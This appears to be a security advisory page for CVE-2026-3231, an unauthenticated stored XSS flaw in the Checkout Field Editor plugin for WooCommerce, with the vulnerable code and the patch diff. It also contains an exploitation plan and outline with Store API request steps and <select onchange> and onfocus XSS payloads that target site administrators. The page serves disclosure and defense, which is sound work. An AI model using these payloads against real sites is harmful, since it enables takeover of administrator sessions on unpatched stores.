CVE-2026-3231

Checkout Field Editor (Checkout Manager) for WooCommerce <= 2.1.7 - Unauthenticated Stored Cross-Site Scripting via Block Checkout Custom Radio Field

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
2.1.8
Patched in
3d
Time to patch

Description

The Checkout Field Editor (Checkout Manager) for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via custom radio and checkboxgroup field values submitted through the WooCommerce Block Checkout Store API in all versions up to, and including, 2.1.7. This is due to the `prepare_single_field_data()` method in `class-thwcfd-block-order-data.php` first escaping values with `esc_html()` then immediately reversing the escaping with `html_entity_decode()` for radio and checkboxgroup field types, combined with a permissive `wp_kses()` allowlist in `get_allowed_html()` that explicitly permits the `<select>` element with the `onchange` event handler attribute. This makes it possible for unauthenticated attackers to inject arbitrary web scripts via the Store API checkout endpoint that execute when an administrator views the order details page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.7
PublishedMarch 10, 2026
Last updatedMarch 13, 2026

What Changed in the Fix

Changes introduced in v2.1.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3231 - Unauthenticated Stored XSS in Checkout Field Editor ## 1. Vulnerability Summary The **Checkout Field Editor (Checkout Manager) for WooCommerce** plugin (up to 2.1.7) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in how the …

Show full research plan

Exploitation Research Plan: CVE-2026-3231 - Unauthenticated Stored XSS in Checkout Field Editor

1. Vulnerability Summary

The Checkout Field Editor (Checkout Manager) for WooCommerce plugin (up to 2.1.7) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists in how the plugin processes custom radio and checkbox field data submitted via the WooCommerce Block Checkout Store API.

The vulnerability stems from two primary issues:

  1. Improper Neutralization: In block/class-thwcfd-block-order-data.php, the method prepare_single_field_data() (inferred from description) escapes input with esc_html() but then immediately decodes it with html_entity_decode() for specific field types (radio and checkboxgroup), effectively nullifying the escaping.
  2. Permissive Sanitization: When rendering this data on the admin order page, the plugin uses wp_kses() with a custom allowlist returned by THWCFD_Utils::get_allowed_html(). This allowlist explicitly permits the <select> tag and the onchange event handler, allowing for JavaScript execution.

2. Attack Vector Analysis

  • Endpoint: WooCommerce Store API Checkout endpoint: /wp-json/wc/store/v1/checkout
  • Action: Unauthenticated checkout submission.
  • Vulnerable Parameter: Values within the extensions or additional_fields object corresponding to a custom radio or checkboxgroup field.
  • Authentication: None required (Unauthenticated).
  • Precondition: A custom field of type radio must be registered and active for the WooCommerce Checkout Block.

3. Code Flow

  1. Entry Point: An unauthenticated user submits a checkout request to /wp-json/wc/store/v1/checkout.
  2. Processing: WooCommerce Blocks processes the extensions data. The plugin's block integration (likely THWCFD_Block or a related data formatter) handles the custom fields.
  3. Vulnerable Transformation: In class-thwcfd-block-order-data.php, the value is passed through prepare_single_field_data().
    • $value = esc_html($value);
    • $value = html_entity_decode($value); (for radio/checkboxgroup types).
  4. Storage: The resulting string is stored in the database as order metadata (via update_post_meta).
  5. Rendering (Sink): An administrator views the order in the WordPress dashboard.
    • Hook: woocommerce_admin_order_data_after_order_details triggers THWCFD_Block_Order_Data::admin_order_data_after_order_details($order).
    • The code retrieves the stored metadata and generates HTML.
    • Line 115: echo wp_kses($html, THWCFD_Utils::get_allowed_html());
  6. Execution: Since get_allowed_html() permits <select onchange="...">, the payload executes in the admin's browser context.

4. Nonce Acquisition Strategy

The WooCommerce Store API requires a specific nonce (X-WC-Store-API-Nonce) for POST requests (like adding to cart or checking out).

  1. Initialize Session: Perform a GET request to /wp-json/wc/store/v1/cart.
  2. Extract Nonce: The response will include a Nonce header. This value must be sent as X-WC-Store-API-Nonce in subsequent requests.
  3. Alternative (Browser Context): If the automated agent is using a browser, the nonce is often available in the frontend headers or can be fetched via:
    // In browser console on a checkout page
    const nonce = document.querySelector('meta[name="wc-store-api-nonce"]')?.content;
    

5. Exploitation Strategy

Step 1: Add Item to Cart

You must have an item in the cart to hit the checkout endpoint.

  • URL: /wp-json/wc/store/v1/cart/add-item
  • Method: POST
  • Headers: Content-Type: application/json
  • Body: {"id": <PRODUCT_ID>, "quantity": 1}

Step 2: Perform Checkout with XSS Payload

  • URL: /wp-json/wc/store/v1/checkout
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WC-Store-API-Nonce: <EXTRACTED_NONCE>
  • Payload Construction:
    The payload must use the allowed <select> tag with onchange.
    Payload: <select onchange="alert('CVE-2026-3231_XSS')" autofocus><option value="1">1</option><option value="2" selected>2</option></select>
  • Body:
    {
      "billing_address": { ... standard details ... },
      "shipping_address": { ... standard details ... },
      "extensions": {
        "thwcfe-block": {
          "custom_radio_field_name": "<select onchange=\"alert(document.domain)\" autofocus><option>1</option><option selected>2</option></select>"
        }
      }
    }
    
    Note: The exact key inside extensions depends on the field name registered.

6. Test Data Setup

  1. Active Plugins: WooCommerce + Checkout Field Editor for WooCommerce (2.1.7).
  2. WooCommerce Setup: Create a simple product (ID 123).
  3. Plugin Configuration:
    • Navigate to WooCommerce -> Checkout Form -> Checkout Block.
    • Add a Radio field to the "Address" or "Additional Info" section.
    • Set Name to xss_radio_field.
    • Enable "Show in Admin Order Details".
  4. Page Setup: Ensure the Checkout page is using the WooCommerce Checkout Block (not the shortcode).

7. Expected Results

  1. The Store API returns a 200 OK or 201 Created for the checkout.
  2. In the database, the order meta for xss_radio_field contains the raw <select> tag.
  3. When an admin navigates to wp-admin/post.php?post=<ORDER_ID>&action=edit (or the HPOS equivalent), an alert box appears showing the document domain.

8. Verification Steps

  1. Check Meta Storage:
    wp post term list <ORDER_ID> # Or if using HPOS:
    wp db query "SELECT meta_value FROM wp_wc_orders_meta WHERE meta_key='thwcfe-block/xss_radio_field' AND order_id=<ORDER_ID>"
    
  2. Verify Admin Rendering: Use the http_request tool to fetch the admin order page and check for the unescaped payload:
    # Check if the onchange attribute exists in the response
    grep "onchange=\"alert" response_body.html
    

9. Alternative Approaches

If the onchange event requires a manual trigger that the admin is unlikely to perform, try leveraging autofocus combined with onfocus if the allowlist is broader than documented:

  • Payload: <select onfocus="alert(1)" autofocus>

If the Store API extensions path is blocked, check if the plugin registers the fields under the standard additional_fields path in the Store API request:

{
  "additional_fields": {
    "thwcfe-block/xss_radio_field": "<payload>"
  }
}
Research Findings
Static analysis — not yet PoC-verified

Summary

The Checkout Field Editor for WooCommerce plugin is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) when using the WooCommerce Block Checkout. This occurs because the plugin decodes HTML entities for radio and checkbox field values and subsequently renders them using a permissive allowlist that permits the `<select>` element with the `onchange` event handler, allowing attackers to execute arbitrary JavaScript in the context of an administrator viewing the order.

Vulnerable Code

// block/class-thwcfd-block-order-data.php line 437
if($type === 'checkboxgroup' || $type === 'radio'){
    $value = html_entity_decode($value);
}

---

// block/class-thwcfd-block-order-data.php lines 77, 114, 221
echo wp_kses($html, THWCFD_Utils::get_allowed_html());

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/woo-checkout-field-editor-pro/2.1.7/block/class-thwcfd-block-order-data.php /home/deploy/wp-safety.org/data/plugin-versions/woo-checkout-field-editor-pro/2.1.8/block/class-thwcfd-block-order-data.php
--- /home/deploy/wp-safety.org/data/plugin-versions/woo-checkout-field-editor-pro/2.1.7/block/class-thwcfd-block-order-data.php	2026-02-05 06:20:22.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/woo-checkout-field-editor-pro/2.1.8/block/class-thwcfd-block-order-data.php	2026-03-10 09:16:14.000000000 +0000
@@ -74,7 +74,7 @@
 				<?php
 					do_action( 'thwcfe_order_details_before_custom_fields', $order );
 					//echo $html;
-					echo wp_kses($html, THWCFD_Utils::get_allowed_html());
+					echo wp_kses($html, THWCFD_Utils::get_allowed_html_order_output());
 					do_action( 'thwcfe_order_details_after_custom_fields', $order ); 
 				?>
 			</table>
@@ -111,7 +111,7 @@
 
 		if($html){
 			echo '<p style="clear: both; margin: 0 !important;"></p>';
-			echo wp_kses($html, THWCFD_Utils::get_allowed_html());
+			echo wp_kses($html, THWCFD_Utils::get_allowed_html_order_output());
 		}
 	}
 	private function prepare_args_admin_order_view(){
@@ -218,7 +218,7 @@
 		}
 		if($html){
 			//echo $html;
-			echo wp_kses($html, THWCFD_Utils::get_allowed_html());
+			echo wp_kses($html, THWCFD_Utils::get_allowed_html_order_output());
 		}	
 	}
     private function prepare_args_order_email($sent_to_admin){
@@ -437,9 +437,9 @@
 						$value = esc_html($value);
 					}
 				}
-				if($type === 'checkboxgroup' || $type === 'radio'){
-					$value = html_entity_decode($value);
-				}
+				// if($type === 'checkboxgroup' || $type === 'radio'){
+				// 	$value = html_entity_decode($value);
+				// }

Exploit Outline

The exploit targets the WooCommerce Block Checkout Store API and requires no authentication. 1. **Prerequisites**: A custom 'radio' or 'checkboxgroup' field must be registered and configured to show in 'Admin Order Details' via the plugin settings. 2. **Session Initialization**: An attacker first performs a GET request to `/wp-json/wc/store/v1/cart` to initialize a session and retrieve the required `X-WC-Store-API-Nonce` header. 3. **Cart Setup**: The attacker adds any product to the cart via `/wp-json/wc/store/v1/cart/add-item`. 4. **Payload Injection**: The attacker submits a checkout request to `/wp-json/wc/store/v1/checkout`. The payload is placed inside the `extensions` or `additional_fields` object, keyed by the custom field's ID. 5. **Payload Shape**: The payload utilizes the `<select>` tag with an `onchange` attribute (e.g., `<select onchange="alert(document.domain)" autofocus><option selected>XSS</option></select>`). 6. **Execution**: Because the plugin decodes entities and its `wp_kses` allowlist explicitly permits `<select>` with `onchange`, the script executes automatically when an administrator views the resulting order in the WordPress dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.